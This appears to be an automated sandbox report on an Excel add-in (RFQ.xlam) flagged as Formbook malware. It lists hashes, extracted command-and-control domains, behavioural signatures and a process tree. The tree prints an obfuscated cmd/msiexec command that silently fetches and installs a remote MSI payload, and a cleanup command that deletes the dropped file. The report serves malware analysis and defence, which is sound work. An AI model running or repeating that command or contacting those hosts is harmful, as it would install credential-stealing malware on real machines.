Analysis
-
max time kernel
149s -
max time network
144s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
05-05-2021 13:05
Static task
static1
Behavioral task
behavioral1
Sample
RFQ.xlam
Resource
win7v20210410
General
-
Target
RFQ.xlam
-
Size
15KB
-
MD5
399563af4221cc2c176d8f218d6a563d
-
SHA1
72251218c8127abeab4c04944445c18bdac2688f
-
SHA256
cc9cefa7960d991d414051f5fe153ffa514a2e687143dd2b1b6966edbbcadbec
-
SHA512
bb0aef3126bc94f5bc32bddc96b4c6720b4eeeaa91c1a80c95039d4c88871fdc33ceef7cd579bd00d4acbc62987f9e6c0fa7efa08de81e4a4db8194f81f6ebea
Malware Config
Extracted
formbook
4.1
http://www.111bjs.com/ccr/
abdullahlodhi.com
jevya.com
knoxvillerestaurant.com
mekarauroko7389.com
cricketspowder.net
johannchirinos.com
orangeorganical.com
libero-tt.com
lorenaegianluca.com
wintab.net
modernmillievintage.com
zgdqcyw.com
jeffabildgaardmd.com
nurulfikrimakassar.com
findyourchef.com
innovationsservicegroup.com
destek-taleplerimiz.com
whfqqco.icu
kosmetikmadeingermany.com
dieteticos.net
savarsineklik.com
newfashiontrends.com
e-mobilitysolutions.com
spaced.ltd
amjadalitrading.com
thejstutor.com
zzhqp.com
exoticomistico.com
oklahomasundayschool.com
grwfrog.com
elementsfitnessamdwellbeing.com
auldontoyworld.com
cumhuriyetcidemokratparti.kim
thetruthinternational.com
adimadimingilizce.com
retreatwinds.com
duoteshop.com
jasonkokrak.com
latindancextreme.com
agavedeals.com
motz.xyz
kspecialaroma.com
yuejinjc.com
print12580.com
ampsports.tennis
affordablebathroomsarizona.com
casnop.com
driftwestcoastmarket.com
bjsjygg.com
gwpjamshedpur.com
reserveacalifornia.com
caobv.com
culturaenmistacones.com
back-upstore.com
jjsmiths.com
iamxc.com
siobhankrittiya.com
digitalakanksha.com
koatku.com
shamushalkowich.com
merplerps.com
fishexpertise.com
sweetheartmart.com
nqs.xyz
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1788 1904 cmd.exe EXCEL.EXE -
Formbook Payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/896-75-0x0000000000400000-0x000000000042E000-memory.dmp formbook behavioral1/memory/608-83-0x0000000000080000-0x00000000000AE000-memory.dmp formbook -
Blocklisted process makes network request 1 IoCs
Processes:
msiexec.exeflow pid process 5 1612 msiexec.exe -
Executes dropped EXE 2 IoCs
Processes:
MSI2224.tmpMSI2224.tmppid process 320 MSI2224.tmp 896 MSI2224.tmp -
Loads dropped DLL 1 IoCs
Processes:
MSI2224.tmppid process 320 MSI2224.tmp -
Use of msiexec (install) with remote resource 1 IoCs
Processes:
msiexec.exepid process 1744 msiexec.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exedescription ioc process File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
MSI2224.tmpMSI2224.tmpmsdt.exedescription pid process target process PID 320 set thread context of 896 320 MSI2224.tmp MSI2224.tmp PID 896 set thread context of 1288 896 MSI2224.tmp Explorer.EXE PID 608 set thread context of 1288 608 msdt.exe Explorer.EXE -
Drops file in Windows directory 6 IoCs
Processes:
msiexec.exedescription ioc process File opened for modification C:\Windows\Installer\MSI1BCA.tmp msiexec.exe File created C:\Windows\Installer\f74201f.ipi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI21B5.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2224.tmp msiexec.exe File opened for modification C:\Windows\Installer\f74201f.ipi msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
NSIS installer 6 IoCs
Processes:
resource yara_rule C:\Windows\Installer\MSI2224.tmp nsis_installer_1 C:\Windows\Installer\MSI2224.tmp nsis_installer_2 C:\Windows\Installer\MSI2224.tmp nsis_installer_1 C:\Windows\Installer\MSI2224.tmp nsis_installer_2 C:\Windows\Installer\MSI2224.tmp nsis_installer_1 C:\Windows\Installer\MSI2224.tmp nsis_installer_2 -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE -
Modifies data under HKEY_USERS 1 IoCs
Processes:
msiexec.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad msiexec.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1904 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 31 IoCs
Processes:
msiexec.exeMSI2224.tmpmsdt.exepid process 1612 msiexec.exe 1612 msiexec.exe 896 MSI2224.tmp 896 MSI2224.tmp 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe 608 msdt.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 1288 Explorer.EXE -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
MSI2224.tmpMSI2224.tmpmsdt.exepid process 320 MSI2224.tmp 896 MSI2224.tmp 896 MSI2224.tmp 896 MSI2224.tmp 608 msdt.exe 608 msdt.exe -
Suspicious use of AdjustPrivilegeToken 50 IoCs
Processes:
msiexec.exemsiexec.exeMSI2224.tmpmsdt.exeExplorer.EXEdescription pid process Token: SeShutdownPrivilege 1744 msiexec.exe Token: SeIncreaseQuotaPrivilege 1744 msiexec.exe Token: SeRestorePrivilege 1612 msiexec.exe Token: SeTakeOwnershipPrivilege 1612 msiexec.exe Token: SeSecurityPrivilege 1612 msiexec.exe Token: SeCreateTokenPrivilege 1744 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1744 msiexec.exe Token: SeLockMemoryPrivilege 1744 msiexec.exe Token: SeIncreaseQuotaPrivilege 1744 msiexec.exe Token: SeMachineAccountPrivilege 1744 msiexec.exe Token: SeTcbPrivilege 1744 msiexec.exe Token: SeSecurityPrivilege 1744 msiexec.exe Token: SeTakeOwnershipPrivilege 1744 msiexec.exe Token: SeLoadDriverPrivilege 1744 msiexec.exe Token: SeSystemProfilePrivilege 1744 msiexec.exe Token: SeSystemtimePrivilege 1744 msiexec.exe Token: SeProfSingleProcessPrivilege 1744 msiexec.exe Token: SeIncBasePriorityPrivilege 1744 msiexec.exe Token: SeCreatePagefilePrivilege 1744 msiexec.exe Token: SeCreatePermanentPrivilege 1744 msiexec.exe Token: SeBackupPrivilege 1744 msiexec.exe Token: SeRestorePrivilege 1744 msiexec.exe Token: SeShutdownPrivilege 1744 msiexec.exe Token: SeDebugPrivilege 1744 msiexec.exe Token: SeAuditPrivilege 1744 msiexec.exe Token: SeSystemEnvironmentPrivilege 1744 msiexec.exe Token: SeChangeNotifyPrivilege 1744 msiexec.exe Token: SeRemoteShutdownPrivilege 1744 msiexec.exe Token: SeUndockPrivilege 1744 msiexec.exe Token: SeSyncAgentPrivilege 1744 msiexec.exe Token: SeEnableDelegationPrivilege 1744 msiexec.exe Token: SeManageVolumePrivilege 1744 msiexec.exe Token: SeImpersonatePrivilege 1744 msiexec.exe Token: SeCreateGlobalPrivilege 1744 msiexec.exe Token: SeRestorePrivilege 1612 msiexec.exe Token: SeTakeOwnershipPrivilege 1612 msiexec.exe Token: SeRestorePrivilege 1612 msiexec.exe Token: SeTakeOwnershipPrivilege 1612 msiexec.exe Token: SeRestorePrivilege 1612 msiexec.exe Token: SeTakeOwnershipPrivilege 1612 msiexec.exe Token: SeRestorePrivilege 1612 msiexec.exe Token: SeTakeOwnershipPrivilege 1612 msiexec.exe Token: SeRestorePrivilege 1612 msiexec.exe Token: SeTakeOwnershipPrivilege 1612 msiexec.exe Token: SeRestorePrivilege 1612 msiexec.exe Token: SeTakeOwnershipPrivilege 1612 msiexec.exe Token: SeDebugPrivilege 896 MSI2224.tmp Token: SeDebugPrivilege 608 msdt.exe Token: SeShutdownPrivilege 1288 Explorer.EXE Token: SeShutdownPrivilege 1288 Explorer.EXE -
Suspicious use of FindShellTrayWindow 6 IoCs
Processes:
EXCEL.EXEExplorer.EXEpid process 1904 EXCEL.EXE 1904 EXCEL.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE -
Suspicious use of SendNotifyMessage 6 IoCs
Processes:
Explorer.EXEpid process 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 1904 EXCEL.EXE 1904 EXCEL.EXE 1904 EXCEL.EXE -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
EXCEL.EXEcmd.exemsiexec.exeMSI2224.tmpExplorer.EXEmsdt.exedescription pid process target process PID 1904 wrote to memory of 1788 1904 EXCEL.EXE cmd.exe PID 1904 wrote to memory of 1788 1904 EXCEL.EXE cmd.exe PID 1904 wrote to memory of 1788 1904 EXCEL.EXE cmd.exe PID 1904 wrote to memory of 1788 1904 EXCEL.EXE cmd.exe PID 1788 wrote to memory of 1744 1788 cmd.exe msiexec.exe PID 1788 wrote to memory of 1744 1788 cmd.exe msiexec.exe PID 1788 wrote to memory of 1744 1788 cmd.exe msiexec.exe PID 1788 wrote to memory of 1744 1788 cmd.exe msiexec.exe PID 1788 wrote to memory of 1744 1788 cmd.exe msiexec.exe PID 1788 wrote to memory of 1744 1788 cmd.exe msiexec.exe PID 1788 wrote to memory of 1744 1788 cmd.exe msiexec.exe PID 1612 wrote to memory of 320 1612 msiexec.exe MSI2224.tmp PID 1612 wrote to memory of 320 1612 msiexec.exe MSI2224.tmp PID 1612 wrote to memory of 320 1612 msiexec.exe MSI2224.tmp PID 1612 wrote to memory of 320 1612 msiexec.exe MSI2224.tmp PID 320 wrote to memory of 896 320 MSI2224.tmp MSI2224.tmp PID 320 wrote to memory of 896 320 MSI2224.tmp MSI2224.tmp PID 320 wrote to memory of 896 320 MSI2224.tmp MSI2224.tmp PID 320 wrote to memory of 896 320 MSI2224.tmp MSI2224.tmp PID 320 wrote to memory of 896 320 MSI2224.tmp MSI2224.tmp PID 1288 wrote to memory of 608 1288 Explorer.EXE msdt.exe PID 1288 wrote to memory of 608 1288 Explorer.EXE msdt.exe PID 1288 wrote to memory of 608 1288 Explorer.EXE msdt.exe PID 1288 wrote to memory of 608 1288 Explorer.EXE msdt.exe PID 608 wrote to memory of 1632 608 msdt.exe cmd.exe PID 608 wrote to memory of 1632 608 msdt.exe cmd.exe PID 608 wrote to memory of 1632 608 msdt.exe cmd.exe PID 608 wrote to memory of 1632 608 msdt.exe cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\RFQ.xlam2⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C m^SiE^x^e^c /i http://farm-finn.com//admin/56701.msi /qn3⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exemSiExec /i http://farm-finn.com//admin/56701.msi /qn4⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\msdt.exe"C:\Windows\SysWOW64\msdt.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Windows\Installer\MSI2224.tmp"3⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Installer\MSI2224.tmp"C:\Windows\Installer\MSI2224.tmp"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\Installer\MSI2224.tmp"C:\Windows\Installer\MSI2224.tmp"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Windows\Installer\MSI2224.tmpMD5
c143786765f282d07d418fe98d4fe91a
SHA1d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8
SHA256c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6
SHA51214af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf
-
C:\Windows\Installer\MSI2224.tmpMD5
c143786765f282d07d418fe98d4fe91a
SHA1d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8
SHA256c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6
SHA51214af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf
-
C:\Windows\Installer\MSI2224.tmpMD5
c143786765f282d07d418fe98d4fe91a
SHA1d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8
SHA256c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6
SHA51214af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf
-
\Users\Admin\AppData\Local\Temp\nss22DE.tmp\xdqurci0.dllMD5
42b244a4f9d3af1a2788452e5507b0be
SHA14f59185e37d87cf7d4a0c43bc4f26b092c21e4bf
SHA25614ade88d57789eb08d264b56ff0b46317452e50702285aff672ff12768e45c4f
SHA512df0b5fc0fa680ff5ef849e3c9c312e07e4d741054dba3a9c9a7c05cfc2b99fba09776e864494a579cc34ba985c431d22de9917836cb38d1de05b9aea93fb55fa
-
memory/320-72-0x00000000003D0000-0x00000000003D2000-memory.dmpFilesize
8KB
-
memory/320-67-0x0000000000000000-mapping.dmp
-
memory/608-79-0x0000000000000000-mapping.dmp
-
memory/608-85-0x0000000002050000-0x00000000020E3000-memory.dmpFilesize
588KB
-
memory/608-84-0x00000000021B0000-0x00000000024B3000-memory.dmpFilesize
3.0MB
-
memory/608-83-0x0000000000080000-0x00000000000AE000-memory.dmpFilesize
184KB
-
memory/608-82-0x00000000009E0000-0x0000000000AD4000-memory.dmpFilesize
976KB
-
memory/896-73-0x000000000041EBB0-mapping.dmp
-
memory/896-75-0x0000000000400000-0x000000000042E000-memory.dmpFilesize
184KB
-
memory/896-77-0x0000000000680000-0x0000000000694000-memory.dmpFilesize
80KB
-
memory/896-76-0x0000000000700000-0x0000000000A03000-memory.dmpFilesize
3.0MB
-
memory/1288-86-0x0000000005080000-0x0000000005130000-memory.dmpFilesize
704KB
-
memory/1288-78-0x0000000004BF0000-0x0000000004CBC000-memory.dmpFilesize
816KB
-
memory/1612-66-0x000007FEFB741000-0x000007FEFB743000-memory.dmpFilesize
8KB
-
memory/1632-81-0x0000000000000000-mapping.dmp
-
memory/1744-64-0x0000000000000000-mapping.dmp
-
memory/1744-65-0x0000000074FB1000-0x0000000074FB3000-memory.dmpFilesize
8KB
-
memory/1788-63-0x0000000000000000-mapping.dmp
-
memory/1904-60-0x000000002FE41000-0x000000002FE44000-memory.dmpFilesize
12KB
-
memory/1904-61-0x0000000070DA1000-0x0000000070DA3000-memory.dmpFilesize
8KB
-
memory/1904-62-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1904-87-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB